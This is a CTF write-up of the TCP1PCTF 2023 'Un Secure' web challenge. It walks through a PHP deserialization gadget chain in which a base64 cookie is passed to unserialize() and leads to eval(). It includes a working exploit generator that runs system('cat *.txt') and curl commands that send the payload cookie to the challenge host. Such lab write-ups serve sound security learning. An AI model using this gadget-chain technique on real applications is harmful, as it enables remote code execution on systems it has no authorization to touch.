TCP1PCTF 2023 – Un Secure [WEB]

WriteUp 1年前 (2023) admin
299 0 0

Link to archive challenges:

Category : Web

Web : Un Secure

TCP1PCTF 2023 - Un Secure [WEB]

We received a zip file dist.zip with the source code of the web challenge.

TCP1PCTF 2023 - Un Secure [WEB]

When we tried to browse the web link, we don’t see much except a white page with sentence “Welcome to my web app!”

TCP1PCTF 2023 - Un Secure [WEB]

Looking at index.php, the code will check if cookies with name cookie is set. If set, it will unserialize() the cookies after base64 decode using base64_decode().

1
2
3
4
5
6
7
8
9
<?php
require("vendor/autoload.php");

if (isset($_COOKIE['cookie'])) {
    $cookie = base64_decode($_COOKIE['cookie']);
    unserialize($cookie);
}

echo "Welcome to my web app!";

A simple search dangerous of unserialize() php in Google will lead us into an interesting information.

TCP1PCTF 2023 - Un Secure [WEB]

The name of the challenge itself is a hint that the challenge involve Deserialization vulnerabilities. In src/ folder, we can find few PHP files with three (3) gadgets that we can use to get a Remote Code Execution (RCE). Let’s walkthrough each of the gadgets available

GadgetOne (Adders.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

namespace GadgetOne {
    class Adders
    {
        private $x;
        function __construct($x)
        {
            $this->x = $x;
        }
        function get_x()
        {
            return $this->x;
        }
    }
}

__construct() – PHP class constructor, is automatically called upon object creation

  • In GadgetOne, we can set the variable $x to any values that we want and interestingly it will return the value of variable $x in the function of get_x().

GadgetTwo (Echoers.php)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace GadgetTwo {
    class Echoers
    {
        protected $klass;
        function __destruct()
        {
            echo $this->klass->get_x();
        }
    }

}

__destruct() – PHP class destructor, is automatically called when references to the object are removed from memory.

  • In GadgetTwo, we can set the variable $klass and the function get_x() from GadgetOne was called in this gadget.

GadgetThree (Vuln.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

namespace GadgetThree {
    class Vuln
    {
        public $waf1;
        protected $waf2;
        private $waf3;
        public $cmd;
        function __toString()
        {
            if (!($this->waf1 === 1)) {
                die("not x");
            }
            if (!($this->waf2 === "\xde\xad\xbe\xef")) {
                die("not y");
            }
            if (!($this->waf3) === false) {
                die("not z");
            }
            eval($this->cmd);
        }
    }
}

__toString() – PHP call-back that gets executed if the object is treated like a string.

  • In GadgetThree, even though there is a WAF but we can defined each of the variable accordingly to bypass it. Once we have bypass it, we can get our input which is cmd to eval() function.

Solution

Based on the Gadget above, at first I only focus on the GadgetThree because it got eval() function. But I keep wondering how can I trigger the __toString() with only using GadgetThree? Like I mentioned above, it will only get executed if the object is treated like a string, but in our case it only unserialize() the object not echo unserialize().

1
unserialize($cookie);

That’s when I realize we need to chain all the gadget to get RCE. Thanks to my team members in M53, I got some idea on how to chain the gadgets.

This is the first solution my team member @vicevirus tried but he mentioned this is wrong. We will get back to this at the end to explain the reason.

TCP1PCTF 2023 - Un Secure [WEB]

So the idea is I need to get my Vuln() object into the GadgetTwo as it use echo().

1
2
3
4
5
# Original
echo $this->klass->get_x();

# Plan
echo $this->klass->Vuln();

Then, I realize that get_x() will return the value of variable $x and with this I come out with the solution below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
require("vendor/autoload.php");

$gadgetOne = new \GadgetOne\Adders(1);
$gadgetTwo = new \GadgetTwo\Echoers();
$gadgetThree = new \GadgetThree\Vuln();

// Setup GadgeThree
$vuln = new \GadgetThree\Vuln();
$reflection = new \ReflectionClass($gadgetThree);
$property = $reflection->getProperty('waf1');
$property->setAccessible(true);
$property->setValue($vuln, 1);
$property = $reflection->getProperty('waf2');
$property->setAccessible(true);
$property->setValue($vuln, "\xde\xad\xbe\xef");
$property = $reflection->getProperty('waf3');
$property->setAccessible(true);
$property->setValue($vuln, false);
$property = $reflection->getProperty('cmd');
$property->setAccessible(true);
$property->setValue($vuln, "system('cat *.txt');");

// Setup GadgetOne
// __construct($x)
$adders = new \GadgetOne\Adders(1);
$reflection = new \ReflectionClass($gadgetOne);
$property = $reflection->getProperty('x');
$property->setAccessible(true);
$property->setValue($adders, $vuln);

// Setup GadgetTwo
// __destruct()
$echoers = new \GadgetTwo\Echoers();
$reflection = new \ReflectionClass($gadgetTwo);
$property = $reflection->getProperty('klass');
$property->setAccessible(true);
$property->setValue($echoers, $adders);

$serialized = serialize($echoers);

echo base64_encode($serialized);

echo "\n";
TCP1PCTF 2023 - Un Secure [WEB]

Use curl with the base64 cookies and we will get the flag!

1
curl "http://ctf.tcp1p.com:45678/" -b "cookie=TzoxNzoiR2FkZ2V0VHdvXEVjaG9lcnMiOjE6e3M6ODoiACoAa2xhc3MiO086MTY6IkdhZGdldE9uZVxBZGRlcnMiOjE6e3M6MTk6IgBHYWRnZXRPbmVcQWRkZXJzAHgiO086MTY6IkdhZGdldFRocmVlXFZ1bG4iOjQ6e3M6NDoid2FmMSI7aToxO3M6NzoiACoAd2FmMiI7czo0OiLerb7vIjtzOjIyOiIAR2FkZ2V0VGhyZWVcVnVsbgB3YWYzIjtiOjA7czozOiJjbWQiO3M6MjA6InN5c3RlbSgnY2F0ICoudHh0Jyk7Ijt9fX0="
TCP1PCTF 2023 - Un Secure [WEB]

Explanation (Lesson Learned)

I really hope the solution by my team member (vicevirus) is working. I’m interested to know if its possible to include system() or any function in PHP object.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
require("vendor/autoload.php");

$gadgetOne = new \GadgetOne\Adders(system('id'));
$gadgetTwo = new \GadgetTwo\Echoers();

$reflection = new \ReflectionClass($gadgetTwo);
$property = $reflection->getProperty('klass');
$property->setAccessible(true);
$property->setValue($gadgetTwo, $gadgetOne);

$serializedGadgetTwo = serialize($gadgetTwo);

echo(base64_encode($serializedGadgetTwo));

When we run the payload above, we will see that somehow the command executed.

1
curl "http://ctf.tcp1p.com:45678/" -b "cookie=TzoxNzoiR2FkZ2V0VHdvXEVjaG9lcnMiOjE6e3M6ODoiACoAa2xhc3MiO086MTY6IkdhZGdldE9uZVxBZGRlcnMiOjE6e3M6MTk6IgBHYWRnZXRPbmVcQWRkZXJzAHgiO3M6MjE1OiJ1aWQ9MTAwMChrYWxpKSBnaWQ9MTAwMChrYWxpKSBncm91cHM9MTAwMChrYWxpKSw0KGFkbSksMjAoZGlhbG91dCksMjQoY2Ryb20pLDI1KGZsb3BweSksMjcoc3VkbyksMjkoYXVkaW8pLDMwKGRpcCksNDQodmlkZW8pLDQ2KHBsdWdkZXYpLDEwMCh1c2VycyksMTA2KG5ldGRldiksMTExKGJsdWV0b290aCksMTE3KHNjYW5uZXIpLDE0MCh3aXJlc2hhcmspLDE0MihrYWJveGVyKSI7fX0="
TCP1PCTF 2023 - Un Secure [WEB]

Im not an expert with Deserialization, but let us do some checking with the PHP Object itself.

1
2
3
4
5
# Base64 Encoded Bbject
TzoxNzoiR2FkZ2V0VHdvXEVjaG9lcnMiOjE6e3M6ODoiACoAa2xhc3MiO086MTY6IkdhZGdldE9uZVxBZGRlcnMiOjE6e3M6MTk6IgBHYWRnZXRPbmVcQWRkZXJzAHgiO3M6MjE1OiJ1aWQ9MTAwMChrYWxpKSBnaWQ9MTAwMChrYWxpKSBncm91cHM9MTAwMChrYWxpKSw0KGFkbSksMjAoZGlhbG91dCksMjQoY2Ryb20pLDI1KGZsb3BweSksMjcoc3VkbyksMjkoYXVkaW8pLDMwKGRpcCksNDQodmlkZW8pLDQ2KHBsdWdkZXYpLDEwMCh1c2VycyksMTA2KG5ldGRldiksMTExKGJsdWV0b290aCksMTE3KHNjYW5uZXIpLDE0MCh3aXJlc2hhcmspLDE0MihrYWJveGVyKSI7fX0=

# Base64 Decoded Object
O:17:"GadgetTwo\Echoers":1:{s:8:"*klass";O:16:"GadgetOne\Adders":1:{s:19:"GadgetOne\Addersx";s:215:"uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),117(scanner),140(wireshark),142(kaboxer)";}
TCP1PCTF 2023 - Un Secure [WEB]

So basically, it will stored the value of our system('id') into the PHP object and output it later 🙁 . But overall, I learn something new with most of the challenge in this CTF 🙂

 

原文始发于H0j3n:TCP1PCTF 2023 – Un Secure [WEB]

版权声明:admin 发表于 2023年10月19日 上午8:33。
转载请注明:TCP1PCTF 2023 – Un Secure [WEB] | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...